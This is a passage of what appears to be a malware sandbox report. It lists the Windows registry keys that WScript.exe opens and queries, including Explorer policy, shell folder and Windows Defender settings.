"HKLM\SOFTWARE\CLASSES\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ELEVATION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NETWORKPROVIDER\HWORDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NETWORKPROVIDER\PROVIDERORDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\PROGID"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\PROGID"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC\EXTENSIONS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{00000346-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00000346-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\TREATASCLASSINDEX"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\CLASSINDEX"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\CLASSINDEX\{00000346-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\TYPELIBINDEX"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{0000034B-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0000034B-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\CLASSINDEX\{0000034B-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\TYPELIB"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\TYPELIB\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\TYPELIB\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\TYPELIB\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\409"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\409"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\TYPELIB\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\9"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\9"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\TYPELIB\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\0"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\0"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\TYPELIB\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\0\WIN64"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\0\WIN64"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS DEFENDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\REMOVALTOOLS\MRT"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\POLICY MANAGER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\DIAGNOSTICS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SYSTEM"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS DEFENDER\REAL-TIME PROTECTION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\REAL-TIME PROTECTION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\POLICY MANAGER\"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS DEFENDER\"; Key: ""; Value: "")31:T12395,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOPROPERTIESMYCOMPUTER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOPROPERTIESMYCOMPUTER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOPROPERTIESRECYCLEBIN"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOPROPERTIESRECYCLEBIN"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOCONTROLPANEL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOCONTROLPANEL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOSETFOLDERS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOSETFOLDERS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOINTERNETICON"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOINTERNETICON"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE"; Key: "VALIDATEREGITEMS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE"; Key: "MONITORREGISTRY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOCOMMONGROUPS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOCOMMONGROUPS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\INTERFACE\{00000134-0000-0000-C000-000000000046}\PROXYSTUBCLSID32"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\INTERFACE\{CD17328B-E4EF-4215-A92D-62A914658F82}\PROXYSTUBCLSID32"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\INPROCSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\INPROCSERVER32"; Key: "THREADINGMODEL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}"; Key: "APPID"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\DELEGATEFOLDERS"; Key: "STORAGEDELEGATESUPPRESSIONPOLICY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\DELEGATEFOLDERS"; Key: "STORAGEDELEGATE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{20D04FE0-3AEA-1069-A2D8-08002B30309D}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{208D2C60-3AEA-1069-A2D7-08002B30309D}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{871C5380-42A0-1069-A2EA-08002B30309D}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{645FF040-5081-101B-9F08-00AA002F954E}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{26EE0668-A00A-44D7-9371-BEB064C98683}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{59031A47-3F72-44A7-89C5-5595FE6B30EE}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{031E4825-7B94-4DC3-B131-E946B44C8DD5}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{04731B67-D933-450A-90E6-4ACD2E9408FE}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: "WANTSFORDISPLAY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: "HIDEFOLDERVERBS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: "USEDROPHANDLER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: "WANTSFORPARSING"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: "WANTSPARSEDISPLAYNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: "QUERYFOROVERLAY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: "MAPNETDRIVEVERBS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: "QUERYFORINFOTIP"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: "HIDEONDESKTOPPERUSER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: "WANTSALIASEDNOTIFICATIONS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: "WANTSUNIVERSALDELEGATE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: "NOFILEFOLDERJUNCTION"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: "PINTONAMESPACETREE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: "HASNAVIGATIONENUM"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: "ENABLETHUMBNAILS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: "NODEFAULTTOFS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: "PARSEDISPLAYNAMENEEDSURL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: "BLOCKNEWFILE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: "NOINITREQUIRED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: "SAFEROOTFORMTA"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: "WANTSSENDTOTARGET"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: "NOLOCALIZEDNAMEINTARGET"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{11016101-E366-4D22-BC06-4ADA335C892B}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: "WANTSFORDISPLAY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: 